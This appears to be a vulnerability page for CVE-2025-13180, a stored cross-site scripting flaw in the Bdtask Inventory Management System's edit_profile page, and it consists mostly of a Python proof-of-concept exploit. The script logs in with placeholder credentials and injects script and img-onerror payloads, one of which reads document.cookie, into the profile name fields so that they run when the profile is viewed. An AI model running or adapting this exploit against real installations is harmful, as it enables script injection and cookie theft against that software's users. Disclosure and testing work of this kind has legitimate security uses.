CVE-2025-13180 Bdtask库存管理系统edit_profile页面XSS漏洞

# CVE-2025-13180 XSS PoC - Bdtask Inventory Management System # Target: /edit_profile endpoint # Payload: Stored XSS in first_name/last_name fields import requests import re target_url = "http://target.com/edit_profile" login_url = "http://target.com/login" # Authentication credentials credentials = { "email": "[email protected]", "password": "password123" } # XSS payload for first_name field xss_payload_first_name = '<script>alert(document.cookie)</script>' # Alternative XSS payload for last_name field xss_payload_last_name = '<img src=x onerror=alert("XSS")>' def exploit_xss(): # Step 1: Login to the system session = requests.Session() login_response = session.post(login_url, data=credentials) if login_response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Submit XSS payload via edit_profile profile_data = { "first_name": xss_payload_first_name, "last_name": xss_payload_last_name, "email": "[email protected]", # Add other required fields } exploit_response = session.post(target_url, data=profile_data) if exploit_response.status_code == 200: print("[+] XSS payload submitted successfully") print("[*] Payload stored in profile fields") print("[*] Payload will execute when profile is viewed") return True else: print("[-] Exploit failed") return False if __name__ == "__main__": exploit_xss()